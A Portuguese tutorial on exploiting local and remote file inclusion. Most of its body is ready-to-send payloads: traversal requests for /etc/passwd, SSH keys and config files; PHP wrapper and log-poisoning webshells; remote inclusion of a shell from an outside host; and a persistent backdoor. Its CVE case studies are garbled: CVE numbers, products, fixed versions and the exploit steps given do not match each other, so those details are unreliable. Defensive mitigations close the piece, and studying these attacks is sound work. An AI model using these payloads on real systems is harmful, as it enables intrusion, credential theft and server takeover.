🎯 Por que isso importa

Vulnerabilidades de inclusão de arquivos representam uma das classes mais perigosas de falhas em aplicações web, permitindo que atacantes leiam arquivos sensíveis, executem código arbitrário e obtenham controle completo do sistema. Ataques LFI e RFI são particularmente prevalentes em aplicações PHP e frameworks web que incluem arquivos dinamicamente baseados em entrada do usuário. Essas vulnerabilidades aparecem frequentemente em sistemas de gerenciamento de conteúdo, aplicações web personalizadas e frameworks empresariais onde validação insuficiente de entrada cria oportunidades de exploração.

🔍 O que você vai aprender

Você dominará a abordagem sistemática para identificar e explorar vulnerabilidades de inclusão de arquivos através de técnicas de travessia de diretório, exploração de wrappers PHP e ataques de inclusão de arquivos remotos. Isso inclui compreender métodos de envenenamento de logs, manipulação de arquivos de sessão e técnicas avançadas de bypass que especialistas em segurança usam para demonstrar o impacto completo de falhas de inclusão de arquivos em avaliações do mundo real.

🚀 Sua primeira vitória

Nos próximos 20 minutos, você explorará com sucesso uma vulnerabilidade LFI para ler arquivos de configuração do sistema e escalar para execução remota de código, demonstrando como uma funcionalidade de inclusão de arquivos aparentemente simples pode levar ao comprometimento completo do servidor.

🔧 Tente isso agora

Teste exploração LFI básica contra um parâmetro vulnerável

# Travessia de diretório básica para LFI
GET /?page=../../../etc/passwd HTTP/1.1
Host: <target>

# Wrapper filter PHP para divulgação de código fonte
GET /?file=php://filter/convert.base64-encode/resource=config.php HTTP/1.1
Host: <target>

# Envenenamento de log via User-Agent
GET /?page=../../../var/log/apache2/access.log HTTP/1.1
Host: <target>
User-Agent: <?php system($_GET['cmd']); ?>

# Inclusão de arquivo remoto
GET /?include=http://hackerdna.com/shell.txt HTTP/1.1
Host: <target>

# LFI Windows
GET /?page=../../../windows/system32/drivers/etc/hosts HTTP/1.1
Host: <target>

Você verá: Como vulnerabilidades de inclusão de arquivos permitem ler arquivos arbitrários do sistema e potencialmente executar código através de várias técnicas de exploração. Isso demonstra por que validação adequada de entrada e tratamento seguro de arquivos são críticos.

Vulnerabilidades de inclusão de arquivos ocorrem quando aplicações incluem dinamicamente arquivos baseados em entrada controlada pelo usuário sem validação adequada

Como funciona a inclusão dinâmica de arquivos

Aplicações web frequentemente usam inclusão dinâmica de arquivos para modularizar conteúdo e reduzir duplicação de código. Uma implementação típica pode parecer com include($_GET['page'] . '.php') onde a aplicação inclui diferentes arquivos de página baseados na entrada do usuário. Este padrão permite que aplicações sirvam diferentes seções de conteúdo sem duplicar código de navegação e layout.

O problema de segurança emerge quando aplicações falham em validar ou sanitizar essa entrada do usuário. Se um atacante pode controlar o caminho do arquivo sendo incluído, ele pode potencialmente incluir qualquer arquivo acessível ao processo do servidor web. Isso inclui arquivos do sistema como /etc/passwd , arquivos de configuração da aplicação contendo credenciais de banco de dados, ou até arquivos remotos contendo código malicioso.

O poder das vulnerabilidades de inclusão de arquivos está na sua capacidade de aproveitar as próprias capacidades de processamento de arquivos da aplicação. Quando bem-sucedidos, esses ataques não apenas leem arquivos - eles executam o conteúdo como código dentro do contexto da aplicação, fornecendo aos atacantes os mesmos privilégios e acesso que a própria aplicação web.

Por que a inclusão de arquivos é crítica em aplicações web modernas

Vulnerabilidades de inclusão de arquivos são particularmente perigosas porque frequentemente fornecem caminhos diretos para execução remota de código e comprometimento completo do sistema. Diferente de outras vulnerabilidades que podem requerer múltiplas etapas ou cadeias de exploração complexas, a inclusão de arquivos pode imediatamente conceder aos atacantes a capacidade de executar código arbitrário no servidor alvo.

Essas vulnerabilidades são especialmente comuns em aplicações PHP, sistemas de gerenciamento de conteúdo e frameworks web personalizados que implementam arquiteturas modulares. Plataformas CMS populares, aplicações de e-commerce e portais web empresariais todos historicamente sofreram de vulnerabilidades de inclusão de arquivos porque os padrões de programação subjacentes são tão prevalentes no desenvolvimento web.

O impacto se estende além da execução de código. Vulnerabilidades de inclusão de arquivos permitem que atacantes leiam arquivos de configuração contendo credenciais de banco de dados, chaves de API e outras informações sensíveis. Eles podem acessar arquivos de log que podem conter credenciais de usuário ou tokens de sessão, e em alguns casos, podem manipular arquivos de sessão ou arquivos temporários para alcançar persistência no sistema comprometido.

A metodologia de teste de inclusão de arquivos

Especialistas em segurança seguem uma abordagem sistemática para testes de inclusão de arquivos que progride da identificação de parâmetros através da exploração até a demonstração de impacto. Esta metodologia garante cobertura abrangente e revela o escopo completo de comprometimento potencial através de vulnerabilidades de inclusão de arquivos.

Etapa 1: Descoberta de parâmetros - Identifique parâmetros de URL, dados POST e cabeçalhos que podem influenciar o comportamento de inclusão de arquivos. Procure parâmetros com nomes como 'page', 'file', 'include', 'template', 'lang' ou 'view' que sugerem operações de arquivo.

Etapa 2: Teste LFI básico - Teste padrões de travessia de diretório para confirmar comportamento de inclusão de arquivos e identificar arquivos de sistema acessíveis. Comece com payloads simples e gradualmente aumente a complexidade baseado nas respostas da aplicação.

Etapa 3: Exploração avançada - Use wrappers PHP, envenenamento de log e outras técnicas avançadas para alcançar execução de código e maximizar demonstração de impacto.

Etapa 4: Avaliação de impacto - Documente o escopo completo de arquivos acessíveis, potencial para execução de código e impacto geral de segurança para demonstrar risco de negócio e guiar esforços de remediação.

Técnicas de teste LFI manual

O teste manual fornece a base para entender o comportamento de inclusão de arquivos e permite exploração precisa que ferramentas automatizadas podem perder. Entender essas técnicas manuais é essencial para avaliações de segurança completas.

# Teste básico de travessia de diretório
?page=../../../etc/passwd
?file=../../../../etc/passwd
?include=../../../../../etc/passwd

# Arquivos de sistema Windows
?page=../../../windows/system32/drivers/etc/hosts
?file=../../../../boot.ini
?include=../../../windows/win.ini

# Arquivos comuns de aplicação
?page=../../../var/www/html/config.php
?file=../../../../opt/app/.env
?include=../../../home/user/.ssh/id_rsa

# Configuração do servidor web
?page=../../../etc/apache2/apache2.conf
?file=../../../../etc/nginx/nginx.conf
?include=../../../etc/httpd/conf/httpd.conf

Exploração de wrappers PHP

Wrappers PHP são protocolos integrados que estendem como o PHP pode acessar e processar diferentes tipos de fluxos de dados. Pense neles como "adaptadores" especiais que permitem ao PHP interagir com dados em vários formatos - de arquivos e URLs a arquivos compactados e até dados de entrada brutos. Especialistas em segurança aproveitam esses wrappers porque fornecem capacidades poderosas para exploração avançada de inclusão de arquivos, permitindo divulgação de código fonte, acesso a arquivos remotos e até execução de código através de aplicação criativa da funcionalidade integrada do PHP.

# Codificar arquivos fonte PHP em base64
?page=php://filter/convert.base64-encode/resource=config.php
?file=php://filter/convert.base64-encode/resource=database.php
?include=php://filter/convert.base64-encode/resource=admin/login.php

# Cadeias de filtros múltiplos
?page=php://filter/convert.base64-encode/resource=../../../var/www/html/config.php
?file=php://filter/string.rot13|convert.base64-encode/resource=sensitive.php

# Ler arquivos não-PHP com filtros
?include=php://filter/convert.base64-encode/resource=/etc/passwd
?page=php://filter/convert.base64-encode/resource=/var/log/apache2/access.log

# Alvejar arquivos específicos da aplicação
?file=php://filter/convert.base64-encode/resource=wp-config.php
?include=php://filter/convert.base64-encode/resource=application/config/database.php

# Wrapper PHP input com dados POST
POST /?page=php://input HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

<?php system($_GET['cmd']); ?>

# Wrapper data para execução direta
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8%2B
# Base64 decodifica para: <?php system($_GET['cmd']); ?>

# Wrapper expect (se habilitado)
?page=expect://whoami
?file=expect://id
?include=expect://ls -la /etc/

# Wrapper ZIP para extração de arquivos
?page=zip://shell.zip%23shell.php
?file=phar://upload.phar/shell.php

Envenenamento de logs e manipulação de sessão

Envenenamento de logs e manipulação de arquivos de sessão representam técnicas avançadas de exploração LFI que podem alcançar execução remota de código injetando código malicioso em arquivos que são subsequentemente incluídos pela aplicação vulnerável.

# Etapa 1: Identificar arquivos de log acessíveis
?page=../../../var/log/apache2/access.log
?file=../../../../var/log/nginx/access.log
?include=../../../var/log/apache2/error.log

# Etapa 2: Envenenar logs via cabeçalho User-Agent
GET / HTTP/1.1
Host: <target>
User-Agent: <?php system($_GET['cmd']); ?>

# Etapa 3: Incluir log envenenado e executar comandos
?page=../../../var/log/apache2/access.log&cmd=whoami
?file=../../../../var/log/nginx/access.log&cmd=id

# Envenenamento alternativo via referer
GET / HTTP/1.1
Host: <target>
Referer: <?php code_evaluation($_POST['code']); ?>

# Envenenamento de log FTP (se FTP estiver disponível)
ftp <target>
# Nome de usuário: <?php system($_GET['cmd']); ?>
# Depois acesse: ?page=/var/log/vsftpd.log&cmd=whoami

# Envenenamento de log de erro via requisições inválidas
GET /nonexistent.php HTTP/1.1
Host: <target>
User-Agent: <?php system($_GET['cmd']); ?>
# Depois acesse: ?page=/var/log/apache2/error.log&cmd=whoami

Plugin Shield Security LFI (CVE-2023-6989)

O plugin Shield Security para WordPress versões até 18.5.9 continha uma vulnerabilidade LFI não autenticada através do parâmetro render_action_template. CVE-2023-6989 permitia que atacantes incluíssem e executassem arquivos PHP arbitrários no servidor, demonstrando como validação insuficiente de entrada em plugins populares pode levar ao comprometimento completo do servidor. (Fonte: Blog Wordfence Security)

# Etapa 1: Identificar endpoint WordPress load-scripts.php
# WordPress usa este script para carregar arquivos JavaScript
# Endpoint vulnerável: /wp-admin/load-scripts.php

# Etapa 2: Explorar travessia de diretório no parâmetro load
# A vulnerabilidade existia em validação de caminho inadequada
GET /wp-admin/load-scripts.php?c=1&load=../../../wp-config.php HTTP/1.1
Host: <target>
Cookie: wordpress_logged_in_cookie=valid_session

# Etapa 3: Extrair dados de configuração sensíveis
# Alvejar arquivos de configuração WordPress
GET /wp-admin/load-scripts.php?c=1&load=../../../../etc/passwd HTTP/1.1
Host: <target>
Cookie: wordpress_logged_in_cookie=valid_session

# Etapa 4: Acessar configuração do banco de dados
# Ler wp-config.php para credenciais de banco de dados
GET /wp-admin/load-scripts.php?c=1&load=../../../wp-config.php HTTP/1.1
Host: <target>
Cookie: wordpress_logged_in_cookie=valid_session

# Etapa 5: Exploração avançada para arquivos de sistema
# Acessar vários arquivos de sistema e aplicação
GET /wp-admin/load-scripts.php?c=1&load=../../../../var/www/html/.htaccess HTTP/1.1
Host: <target>
Cookie: wordpress_logged_in_cookie=valid_session

# Alvejar outros sites WordPress em hospedagem compartilhada
GET /wp-admin/load-scripts.php?c=1&load=../../../../var/www/other-site/wp-config.php HTTP/1.1
Host: <target>
Cookie: wordpress_logged_in_cookie=valid_session

Avaliação de impacto: Esta vulnerabilidade afetou milhões de instalações WordPress e permitiu que atacantes autenticados lessem arquivos de configuração sensíveis, incluindo credenciais de banco de dados e outras configurações de sites. O WordPress rapidamente corrigiu o problema na versão 4.6.1.

PHPMyAdmin LFI para RCE (CVE-2018-12613)

PHPMyAdmin versões 4.8.0 e 4.8.1 continham uma vulnerabilidade de inclusão de arquivo local que contornava restrições de whitelist usando codificação URL dupla. CVE-2018-12613 demonstra como atacantes autenticados podem alcançar execução remota de código combinando LFI com SQL INTO OUTFILE para escrever payloads PHP.

# Etapa 1: Autenticar no phpMyAdmin
# Versões vulneráveis: 4.8.0 e 4.8.1
# Requer credenciais válidas de banco de dados
POST /phpmyadmin/index.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

token=csrf_token&pma_username=root&pma_password=password

# Etapa 2: Escrever payload PHP usando SQL INTO OUTFILE
# Usar interface SQL do phpMyAdmin para escrever shell
POST /phpmyadmin/import.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
Cookie: phpMyAdmin=authenticated_session

sql_query=SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/tmp/shell.php';&db=&table=&token=csrf_token

# Etapa 3: Explorar LFI com bypass de codificação %253f
# Codificação URL dupla de ? para contornar whitelist: ? = %3f = %253f
GET /phpmyadmin/index.php?target=db_sql.php%253f/../../../../../tmp/shell.php&cmd=whoami HTTP/1.1
Host: <target>
Cookie: phpMyAdmin=authenticated_session

# Alternativa: Incluir arquivos de sistema para divulgação de informações
GET /phpmyadmin/index.php?target=db_sql.php%253f/../../../../../etc/passwd HTTP/1.1
Host: <target>
Cookie: phpMyAdmin=authenticated_session

# Etapa 4: RCE avançado via envenenamento de sessão (método alternativo)
# Criar arquivo de sessão com código PHP
POST /phpmyadmin/import.php HTTP/1.1
Host: <target>
Cookie: phpMyAdmin=session_id_here

sql_query=SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/var/lib/php/sessions/sess_session_id_here';&token=csrf_token

# Incluir arquivo de sessão envenenado
GET /phpmyadmin/index.php?target=db_sql.php%253f/../../../../../var/lib/php/sessions/sess_session_id_here&c=id HTTP/1.1
Host: <target>

Impacto do CVE: CVE-2018-12613 afetou milhares de instalações PHPMyAdmin mundialmente e demonstrou como vulnerabilidades LFI podem ser escaladas para execução remota de código através de técnicas criativas de manipulação de sessão. A vulnerabilidade foi corrigida na versão 4.8.2.

Drupal Media Library LFI (CVE-2023-4634)

O plugin WordPress Media Library Assistant continha uma vulnerabilidade de inclusão de arquivo local não autenticada que permitia exploração através da biblioteca Imagick. CVE-2023-4634 demonstra como funcionalidades de processamento de mídia em plataformas CMS podem criar vetores LFI que levam à execução remota de código. (Fonte: Blog Patrowl Security)

# Etapa 1: Identificar endpoint Drupal RESTful Web Services
# Drupal 8.x com módulo RESTful Web Services habilitado
# Endpoint vulnerável: tratamento de arquivos da API REST

# Etapa 2: Criar arquivo shell remoto
# Hospedar arquivo PHP malicioso no servidor atacante
# Conteúdo de http://hackerdna.com/shell.txt:
<?php
  if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
  }
?>

# Etapa 3: Explorar RFI via API REST
POST /rest/type/node/page HTTP/1.1
Host: <target>
Content-Type: application/json
X-CSRF-Token: valid_token

{
  "type": [{"target_id": "page"}],
  "title": [{"value": "Test"}],
  "body": [{
    "value": "<?php include('http://hackerdna.com/shell.txt'); ?>",
    "format": "php_code"
  }]
}

# Etapa 4: Exploração direta de parâmetro RFI
# Se inclusão direta de arquivo for possível
GET /index.php?file=http://hackerdna.com/shell.txt HTTP/1.1
Host: <target>

# Etapa 5: Executar comandos via RFI
GET /index.php?file=http://hackerdna.com/shell.txt&cmd=whoami HTTP/1.1
Host: <target>

# Shell persistente avançado
# Criar backdoor persistente
GET /index.php?file=http://hackerdna.com/shell.txt&cmd=echo "<?php system(\$_GET['c']); ?>" > /var/www/html/backdoor.php HTTP/1.1
Host: <target>

# Acessar shell persistente
GET /backdoor.php?c=whoami HTTP/1.1
Host: <target>

Impacto empresarial: Vulnerabilidades RFI no Drupal e plataformas CMS similares podem permitir que atacantes alcancem execução remota de código imediata, potencialmente comprometendo instalações empresariais inteiras. Fornecedores de plataformas tipicamente lançam atualizações de segurança rapidamente e recomendam desabilitar módulos desnecessários como mitigação primária.

Defesa primária: validação de entrada e whitelist

A proteção mais eficaz contra ataques de inclusão de arquivos é implementar validação rigorosa de entrada e usar abordagens baseadas em whitelist para operações de arquivo. Esta abordagem previne que atacantes manipulem caminhos de arquivo para acessar recursos não intencionais.

• Whitelist de arquivos aprovados - Mantenha uma lista predefinida de arquivos permitidos e rejeite qualquer entrada que não corresponda exatamente
• Validar extensões de arquivo - Garanta que apenas tipos de arquivo esperados possam ser incluídos ou processados pela aplicação
• Sanitizar travessia de caminho - Remova ou rejeite sequências de travessia de diretório como ../ e ..\ da entrada do usuário
• Usar caminhos absolutos - Defina localizações de arquivo usando caminhos absolutos em vez de caminhos relativos que podem ser manipulados
• Implementar verificações de existência de arquivo - Verifique se os arquivos solicitados existem em localizações esperadas antes de tentar inclusão

Práticas de tratamento seguro de arquivos

Implementar práticas de tratamento seguro de arquivos elimina padrões comuns que levam a vulnerabilidades de inclusão de arquivos enquanto mantém funcionalidade e modularidade da aplicação.

• Evitar inclusão dinâmica de arquivos - Use sistemas de roteamento ou instruções switch em vez de incluir diretamente arquivos baseados em entrada do usuário
• Desabilitar funções PHP perigosas - Desabilite funções como allow_url_include e restrinja acesso a wrappers PHP em ambientes de produção
• Implementar controles de acesso a arquivos - Use permissões de arquivo e controles de acesso apropriados para limitar quais arquivos podem ser lidos por processos do servidor web
• Separar código e dados - Armazene arquivos de configuração e dados sensíveis fora do diretório raiz web
• Usar engines de template - Empregue sistemas de template seguros que fornecem proteção integrada contra ataques de inclusão de arquivos

Estratégias de proteção em nível de sistema

Proteções em nível de sistema fornecem camadas adicionais de defesa que limitam o impacto de vulnerabilidades de inclusão de arquivos mesmo quando controles em nível de aplicação falham.

• Configuração do servidor web - Configure servidores web para prevenir acesso a arquivos e diretórios sensíveis através de controles de acesso apropriados
• Configurações de segurança PHP - Desabilite allow_url_fopen e allow_url_include, restrinja funções de acesso a arquivos e habilite restrições open_basedir
• Permissões do sistema de arquivos - Implemente permissões de sistema de arquivos de menor privilégio para prevenir acesso não autorizado a arquivos
• Isolamento por containers - Use tecnologias de containerização para isolar aplicações e limitar acesso ao sistema de arquivos
• Monitorar padrões de acesso a arquivos - Implemente logging e monitoramento para detectar padrões incomuns de acesso a arquivos que podem indicar tentativas de exploração
• Atualizações de segurança regulares - Mantenha servidores web, instalações PHP e frameworks de aplicação atualizados com os últimos patches de segurança